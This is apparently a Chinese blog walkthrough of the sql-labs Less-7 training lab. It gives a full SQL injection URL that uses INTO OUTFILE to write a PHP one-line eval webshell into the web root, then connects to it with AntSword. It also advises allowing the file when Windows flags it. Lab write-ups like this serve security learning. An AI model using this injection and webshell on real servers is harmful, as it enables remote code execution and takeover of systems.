前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql-labs-Less-7|SQL注入

sql-labs-Less-7|SQL注入

作者头像
TenG
发布2020-10-28 17:47:04
6130
发布2020-10-28 17:47:04
举报
文章被收录于专栏:网安菜鸟成长记

前言:

本关卡为sql-labs系列less-7,本关个人认为比较简单,讲的比较详细,会有点啰嗦,谅解~如有错误的地方欢迎师傅们指正!

环境:

我使用的是phpstudy集成环境,比较方便,因为这一关需要修改mysql配置

工具:

蚁剑(中国菜刀也可以)

正文:

先使用show variables like '%secure%'查看mysql是否有读写权限,我用的是phpstudy里面的phpmyadmin,如图:

在这里插入图片描述
在这里插入图片描述

这是我修改过的,默认secure_file_priv字段默认值为NULL,如果使用的是phpstudy可以直接在phpstudy_pro\Extensions\MySQL里面找到my.ini文件修改,phpstudy_pro文件夹在你的安装的时候选择的盘符里,MySQL文件夹后面或许会跟的有版本号,这个看个人电脑情况,如果是Linux或者Windows单独配置的mysql也可以找到my.ini配置文件进行修改(这个看安装的时候选择的目录),可以参考图中修改:

在这里插入图片描述
在这里插入图片描述

[mysqld] 字段下面任意一行添加secure_file_priv="/" 这里双引号里面的/表示根目录,可以自己选择,下面开始注入:

在这里插入图片描述
在这里插入图片描述

提示使用文件导出(use outfile……),刚开始我也跟前面一样使用报错回显注入,但是错误提示明显没有有效信息,那就是用文件导出into outfile函数,我使用的注入语句为php一句话木马,具体注入方法为:

在这里插入图片描述
在这里插入图片描述

sql注入语句为:

http://localhost/sql-labs/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);?>’ into outfile “D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php”–+

  1. '<?php @eval($_POST["123"]);?>'为php一句话木马,123是蚁剑连接服务器的密码(更具体细节请百度php一句话木马),这个是比较简单的一句话木马,一句话木马有很多,请自行百度。
  2. "D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php"是sql-labs/less-7文件的存放路径(根据你自己的安装路径来写),test.php为木马上传以后的保存文件,不需要提前创建,上传的时候会自动新建test.php文件,需要注意的是,注入语句执行以后依然会报错,但是如果去文件里面查看的话会发现test.php文件已经创建(如果没有可能是Windows给你杀了,我第一次就是,如果提示危险警告选择允许就好了),图示:
在这里插入图片描述
在这里插入图片描述

现在使用蚁剑连接即可:

在这里插入图片描述
在这里插入图片描述

成功连接服务器,成功!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/09/21 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
    • 环境:
      • 工具:
      • 正文:
      相关产品与服务
      数据库
      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档